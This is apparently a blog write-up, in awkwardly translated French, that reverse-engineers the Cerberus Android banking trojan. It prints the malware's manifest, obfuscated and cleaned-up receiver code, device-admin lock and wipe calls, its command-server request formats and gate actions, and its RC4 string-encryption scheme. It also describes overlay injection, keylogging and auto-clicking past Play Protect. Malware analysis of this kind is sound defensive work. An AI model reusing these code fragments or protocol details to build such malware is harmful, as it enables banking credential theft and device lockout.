
Sur le nez 2020 et aujourd'hui, nous avons déjà la version Android 9.0 Pie, où Google bat dans la poitrine et dit que leur produit est protégé. Mais les méchants ne dorment pas et créent leur propre malware pour Android.
Au hasard, je suis tombé sur un fichier apk obscurci, qui est un malware bancaire appelé "Cerberus", et il est apparu en 2019.
Le fichier APK de ce botnet m'est venu avec une adresse de connexion de serveur invalide, donc une partie de la logique de travail et de fonctionnalité est restée inexplorée, car ce botnet utilise un système «modulaire» et charge la fonctionnalité directement depuis son serveur.
Paquet apk d'analyse
Après avoir analysé le paquet apk, j'ai compilé la structure du programme cheval de Troie:
- Récepteur, autorun + alarme;
- Service, s'exécute dans un cycle avec un intervalle de 8 secondes, il est chargé d'afficher un message contextuel pour activer le service d'accessibilité, activer la fonction de verrouillage de l'écran et désactiver les droits d'administrateur;
- Service, collecte de données à partir des capteurs de l'appareil, de sorte que le malware a reçu l'activité physique de l'appareil;
- Service, dans un cycle verrouille l'écran de l'appareil;
- Service, est responsable de l'échange de données avec le serveur;
- Activité, charge le code html dans la WebView, et affiche le contenu, sert à remplacer l'activité de l'application bancaire;
- Activité, demande des autorisations dangereuses.
- Classe, stocke en elle-même les lignes principales (String) du projet
Commençons par le manifeste
Le manifeste de l'application est assez intéressant, et vous pouvez déjà en déduire qu'il ne s'agit pas d'une simple application, mais d'un malware ordinaire.
Par exemple, considérez les autorisations pour une application:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/>
Ici, vous pouvez voir que l'application a accès aux SMS, aux contacts, aux appels, à Internet, l'application est en mode veille.
Nous allons plus loin et voyons des privilèges qui permettent à l'application de devenir la principale pour recevoir / envoyer des SMS, ce sont les méchants utilisés pour cacher les SMS sur les téléphones des victimes.
<activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.SENDTO"/> <data android:scheme="smsto"/> <action android:name="android.intent.action.SEND"/> </intent-filter> </activity> <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <data android:mimeType="application/vnd.wap.mms-message"/> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> </intent-filter> </receiver> <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <data android:scheme="smsto"/> </intent-filter> </service>
Et bien sûr, le récepteur, il sert à démarrer automatiquement les services et à intercepter les SMS.
<receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="979"> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> <action android:name="android.intent.action.PACKAGE_ADDED"/> <action android:name="android.intent.action.USER_PRESENT"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver>
Droits d'administrateur, c'est déjà beaucoup plus intéressant. L'application a besoin d'eux pour bloquer la suppression de l'application (avec les droits d'administrateur activés, l'application n'aura tout simplement pas de bouton «supprimer»), ainsi que ces droits vous permettront de tout supprimer de l'appareil et de bloquer l'appareil.
<activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/> <receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/> <intent-filter android:priority="121"> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/> </intent-filter> </receiver>
Eh bien, le plus intéressant est le service d'accessibilité. Il est utilisé pour que le malware puisse cliquer sur l'écran lui-même et se donner les autorisations nécessaires, y compris les droits d'administrateur. Grâce à cette autorisation, les attaquants surveillent toutes les actions des utilisateurs sur l'appareil.
<service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/> </service>
Eh bien, le reste des services et activités qui sont de peu d'intérêt sans une adresse de serveur Malvari valide.
<activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/> <service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/>
En général, le malware n'utilise rien de surnaturel, il n'utilise aucun 0-day sur l'android. Les attaquants doivent obtenir une autorisation de la victime, et pas plus, le malware fera tout lui-même.
Google devrait limiter certaines des capacités de l'API pour les applications non ludiques.
Récepteur
Le code de cette classe est obscurci, mais cela ne l'empêche pas d'être étudié.
Code obscurci public void onReceive(Context context, Intent intent) { int i; C0005b bVar; String str; String sb; if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) { this.f345b.mo24a(this.f347d, this.f344a.f46aT); C0005b bVar2 = this.f345b; this.f344a.getClass(); C0005b.m16a(context, "", 10000); int i2 = 0; while (true) { if (i2 < this.f344a.f241ec.length) { if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) { break; } if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) { if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.stopService(new Intent(context, this.f344a.f241ec[i2])); } bVar = this.f345b; str = this.f347d; StringBuilder sb2 = new StringBuilder(); sb2.append(this.f344a.f90bK); sb2.append(this.f344a.f241ec[i2]); sb = sb2.toString(); } else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb3 = new StringBuilder(); sb3.append(this.f344a.f88bI); sb3.append(this.f344a.f241ec[i2]); sb = sb3.toString(); } else { int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU)); this.f344a.getClass(); if (parseInt >= 0) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb4 = new StringBuilder(); sb4.append(this.f344a.f89bJ); sb4.append(this.f344a.f241ec[i2]); sb = sb4.toString(); } else { i2++; } } bVar.mo24a(str, sb); i2++; } else { break; } } this.f345b.mo23a(this.f347d, context); this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM); if (intent.getAction().equals(this.f344a.f29aC)) { this.f345b.mo20a(context, intent); } try { i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af)); int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1; i++; C0005b bVar3 = this.f345b; String str2 = this.f344a.f57ae; StringBuilder sb5 = new StringBuilder(); this.f344a.getClass(); sb5.append(""); sb5.append(parseInt2); bVar3.mo22a(context, str2, sb5.toString()); C0005b bVar4 = this.f345b; String str3 = this.f344a.f58af; StringBuilder sb6 = new StringBuilder(); this.f344a.getClass(); sb6.append(""); sb6.append(i); bVar4.mo22a(context, str3, sb6.toString()); } catch (Exception e2) { e = e2; i = 0; C0005b bVar5 = this.f345b; String str4 = this.f344a.f252p; StringBuilder sb7 = new StringBuilder(); sb7.append("(pro8) | vvcy "); sb7.append(e.toString()); sb7.append("::endLog::"); bVar5.mo31b(context, str4, sb7.toString()); if (i >= 3) { return; } return; } if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) { if (this.f345b.mo33b(context, pzjzcxauihlf.class)) { this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP); } Intent intent2 = new Intent(context, lvhxcug.class); intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP); intent2.addFlags(268435456); intent2.addFlags(536870912); intent2.addFlags(1073741824); context.startActivity(intent2); C0005b bVar6 = this.f345b; String str5 = this.f344a.f58af; StringBuilder sb8 = new StringBuilder(); this.f344a.getClass(); sb8.append(""); sb8.append(0); bVar6.mo22a(context, str5, sb8.toString()); } } }
Et maintenant une petite explication sur le code.
Les paramètres Malvari sont stockés dans un fichier XML, le fichier se trouve dans le répertoire
/data/data/package_name/shared_prefs/Settings.xml- public String ReadXML - méthode de lecture des paramètres
- public String SaveXML - méthode pour enregistrer les paramètres
- public boolean DozeMode - Vérifie si le mode Doze est activé
- classe publique Service_fa étend Service - Service pour assembler l'activité physique de l'appareil (étapes, secouer le téléphone, etc.)
- classe publique Service_server étend Service - Service de connexion au serveur
- classe publique Service_event_loop étend Service - Un service qui s'exécute dans une boucle infinie pour exécuter certaines fonctions de malvari
- public void startOffDozeMode - demande de désactiver le mode Doze
- public void startAlarm - Démarrer le récepteur toutes les 10 secondes
- public void interceptionSMS - Méthode de travail avec l'interception de SMS
- public boolean isAccessibilityService - méthode pour vérifier si le service d'accessibilité est activé ou non
- public boolean cis - une méthode qui bloque le fonctionnement des malvari dans les pays appartenant à la CEI, à savoir: ua, ru, by, tj, uz, tm, az, am, kz, kg et md (noms abrégés des pays)
J'ai essayé de mettre le code obscurci ci-dessus sous une forme plus lisible et normale:
Code lisible public void onReceive(Context context, Intent intent) { public Class[] arrayService = {Service_fa.class, Service_server.class, Service_event_loop.class}; if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) { startAlarm(context, "", 10000); for (int i = 0; i < arrayService.length; i++) { if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break; if (!isMyServiceRunning(context, arrayService[i])) { if (Service_fa.class.getName().equals(arrayService[i].getName())) { startService(new Intent(context, arrayService[i])); } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) { startService(new Intent(context, arrayService[i])); } }else{ if(Service_server.class.getName().equals(arrayService[i].getName())){ stopService(new Intent(context, arrayService[i])); } } } startOffDozeMode(context); if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { interceptionSMS(context, intent);
Je pense donc que le code est devenu plus compréhensible pour de nombreux lecteurs.
Le récepteur a 3 déclencheurs pour le déclenchement, c'est-à-dire lorsque l'appareil est redémarré, reçu des SMS ou lorsque Alarmon démarre.
Receiver lance également 3 services:
- Collecte d'activité physique de l'appareil (Service_fa)
- Service de connexion au serveur (Service_server)
- Un service qui s'exécute dans un cycle sans fin pour exécuter certaines fonctions de malvari (Service_event_loop)
Tout d'abord, Service_fa est lancé et seulement après que l'appareil est actif (si le propriétaire du téléphone marche et que le téléphone tremble), Service_server et Service_event_loop sont lancés. Ils sont le principal processus de malvari, de cette façon, les malvari peuvent éliminer les vrais appareils des émulateurs et des appareils des récepteurs, av et autres.
Receiver lance également une demande de déconnexion du mode Doze et une demande de confirmation administrateur.
Étant donné que le logiciel malveillant dispose de privilèges d'administrateur, il ne peut pas être supprimé de l'appareil tant que les droits ne sont pas supprimés.
Droits d'administrateur
Voyons les possibilités que nous avons grâce au périphérique Admin.
<?xml version="1.0" encoding="utf-8"?> <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <uses-policies> <force-lock/> <wipe-data/> </uses-policies> </device-admin>
l'élément de verrouillage forcé est responsable du verrouillage du verrouillage de l'écran de l'appareil et des données d'effacement pour la suppression des DONNÉES, du CACHE et de toute la mémoire de l'appareil (sa réinitialisation complète).
Service_fa
Avec cela, nous finirons par regarder Receiver et envisager d'autres services. Service qui prend les données des capteurs de capteur à l'aide de la classe SensorManager, ce service reçoit simplement les données d'activité et les enregistre dans un fichier XML.
Grâce à cela, les méchants pourront obtenir un historique d'activité et l'analyser pour éliminer les émulateurs et surtout les utilisateurs paresseux.
Serveur_service
Ce flux a été créé pour la communication avec le serveur, les données sont transmises au serveur sous forme cryptée à l'aide de l'algorithme de cryptage RC4 codant tout en base64 après.
Lorsque le service démarre, la première demande au serveur ressemble à ceci:
{ "id":"qoietjeoisfhjdfhk", "idSettings":"", "number":"+79999999999", "statAdmin":"1", "statProtect":"0", "statScreen":"1", "statAccessibilty":"0", "statSMS":"1", "statCards":"0", "statBanks":"0", "statMails":"0", "activeDevice":"53", "timeWorking":"342", "statDownloadModule":"0", "batteryLevel":"78", "locale":"fr" }
J'ai rempli les données envoyées au serveur au hasard, par le nom des paramètres je pense que tout est clair lequel est responsable de quoi, nous ne nous arrêterons pas sur leur analyse.
Maintenant, nous regardons ce que peuvent être les réponses du serveur, le malware vérifie s'il renvoie une réponse vide, si oui, puis il commence à trier le tableau des domaines de serveur dans une boucle et à envoyer cette demande à chaque domaine, et si la réponse contient la ligne == "~ I ~", puis Les logiciels malveillants s'arrêtent sur ce domaine et commencent à travailler avec.
Nous avons décidé avec quel domaine nous travaillons, maintenant nous regardons les autres réponses.
Si Response == "|| youNeedMoreResources ||" est renvoyé puis immédiatement une demande est faite au serveur pour obtenir un module malvari supplémentaire:
gate_url? action = getModule & data = {"idbot": "qoietjeoisfhjdfhk"}Allez-y, Réponse == "|| non ||"
envoie la requête gate_url? action = registration & data = JSON au serveur:
{ "id":"qoietjeoisfhjdfhk", "android": Build.VERSION.RELEASE, "tag":"tag", "country":"fr", "operator":"Megafon", "model":"Samsung Galaxy S9" }
Cette demande sert à enregistrer un nouvel utilisateur dans le panneau d'administration, c'est la fin de la demande du serveur.
Mais ci-dessous, il y a une condition qui vérifie la présence du fichier «system.apk».
Code obscurci:
if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){}
Code simplifié:
if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {}
si le fichier est présent, JSON est généré sous la forme:
{ "params":"updateSettingsAndCommands", "response":"data" }
La réponse du serveur est transmise au paramètre de réponse, puis json est transmis à la méthode qui se trouve dans le module system.apk et il est exécuté à l'aide de la classe DexClassLoader.
Service_event_loop
Ce service fonctionne en boucle et attend une commande pour bloquer le périphérique. L'appareil est bloqué dans la boucle à l'aide des droits d'administrateur.
DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); deviceManager.lockNow();
Ce service peut désactiver les droits d'administrateur, apparemment l'auteur du malvari a décidé de le faire pour "l'autodestruction" du malvari, afin de ne pas laisser de traces sur le téléphone des victimes.
ComponentName componentName = new ComponentName(this, DeviceAdmin.class); DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); devicePolicyManager.removeActiveAdmin(componentName);
De plus, le cycle a 2 vitesses de fonctionnement, 1 seconde et 8 secondes, si le service d'accessibilité est désactivé, il fonctionne à la 1ère seconde et demande d'activer ce service, en ouvrant simplement l'activité et en vous forçant à activer des fonctionnalités spéciales, dans la pratique, nous examinerons cela en détail.
À la fin du cycle, il y a aussi une implémentation comme dans Service_server, mais envoyant spécifiquement des commandes à une méthode qui est à l'intérieur du module chargé «system.apk», mais les paramètres ne sont pas très différents, voir JSON:
{ "params":"serviceWorkingWhile", "tick":"100", "idbot":"qoietjeoisfhjdfhk", "accessibility":"1" }
tick - secondes pendant lesquelles le cycle de service compte, accessibilité - vérifie si le service d'accessibilité est activé.
Chaîne (s) de classe
Toutes les lignes à l'intérieur de la classe sont cryptées avec l'algorithme RC4, puis codées en base64.
Un exemple:
chaîne chiffrée: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
où les 12 premiers caractères de straka sont la clé de déchiffrement de l'algorithme RC4
Clés: yyshybiwijuj
Ciphertext: YzdkZDdkMjRlYjJmYjU5Y2Qw
Voici une partie du code de classe String (s)
public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw"); public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx"); public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA=="); public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy"); public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ="); public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA=="); public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi"); public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5"); public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc=");
J'ai écrit un script pour convertir ces lignes à leur forme normale, cela m'a aidé à passer un peu de temps.
public final String str_statMails = "statMails"; public final String str_activeDevice = "activeDevice"; public final String str_timeWorking = "timeWorking"; public final String str_statDownloadModule = "statDownloadModule"; public final String str_lockDevice = "lockDevice"; public final String str_offSound = "offSound"; public final String str_keylogger = "keylogger"; public final String str_activeInjection = "activeInjection"; public final String str_timeInject = "timeInject";
Nous voyons également ce qui est stocké dans cette classe:
public final String str_url = "https://twitter.com/LukasStefanko"; public final String str_Accessibility = "Flash Player Service"; public final String str_gate1 = "action=registration&data="; public final String str_gate2 = "action=sendInjectLogs&data="; public final String str_gate3 = "action=sendSmsLogs&data="; public final String str_gate4 = "action=timeInject&data="; public final String str_gate5 = "action=sendKeylogger&data="; public final String str_gate6 = "action=getModule&data="; public final String str_gate7 = "action=checkap&data="; public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]";
Le compte Twitter de Lukas Stefanko (@LukasStefanko) est indiqué par l'URL du serveur, apparemment l'auteur voulait plaisanter ou dire quelque chose à Lucas (Ceci est un analyste de NOD32), le nom Accessibility Service + est également stocké ici dans le manifeste android: label = “Flash Player Service ", et une liste des pays pour lesquels le malware ne fonctionne pas.
Le reste
Décrivez brièvement le travail des injections. Il est implémenté simplement, si le service d'accessibilité est activé, alors ce service intercepte simplement l'événement du lancement de l'application bancaire et lance son activité en plus de l'activité de la banque, où il a un objet WebView qui télécharge le faux html de la banque, après quoi il reçoit des données en utilisant JavaScript et envoie des données à Serveur Malvari.
Dans ce service est également implémenté Keylogger, bloquant la suppression des logiciels malveillants et un clic automatique sur les confirmations. Une interaction de déconnexion de sécurité a été détectée dans l'application com.miui.securitycenter. Cette application est appelée "Sécurité" qui est utilisée sur les appareils Xiaomi, ses tâches principales sont de surveiller la sécurité de vos données sensibles. Un code a également été trouvé pour désactiver automatiquement "Google Play Protect" en utilisant la méthode de l'autoclick.
Passons à la pratique
J'ai réussi à trouver les méchants sur Twitter et à obtenir une capture d'écran du panneau d'administration

Installez le paquet apk sur un émulateur avec l'API 27.
Une icône de lecteur flash appelée «Flash Player» est apparue sur le bureau
Nous attendons l'icône et nous avons lancé le malware.
Après avoir démarré Malvari, Activity démarre automatiquement avec l'exigence d'activer le service d'accessibilité, si vous le minimisez, il réapparaîtra et cela se produira dans un cycle jusqu'à ce que j'active le service.
Après avoir activé la case à cocher Service d'accessibilité, une transition automatique des paramètres vers le bureau a été effectuée, et je ne pouvais plus accéder aux paramètres du service d'accessibilité, l'icône du bureau a également disparu, après quelques secondes, la demande d'arrêt du mode somnolence est apparue, elle s'est automatiquement désactivée grâce aux fonctionnalités spéciales de clic automatique .
Ensuite, de la même manière, la confirmation automatique des droits d'administrateur. Il n'a pas été possible de supprimer manuellement le logiciel malveillant, car lors de l'ouverture des paramètres de cette application, il se fermait automatiquement (GLOBAL_ACTION_BACK).
En fait, tout cela est dans la première partie, j'écrirai bientôt la deuxième partie avec un supplémentaire, et éventuellement avec le module principal de ce bot, car je n'ai pas pu trouver le fichier apk du malware avec un lien valide vers le serveur.
Malvari reverse a été implémenté en conjonction avec
keklick1337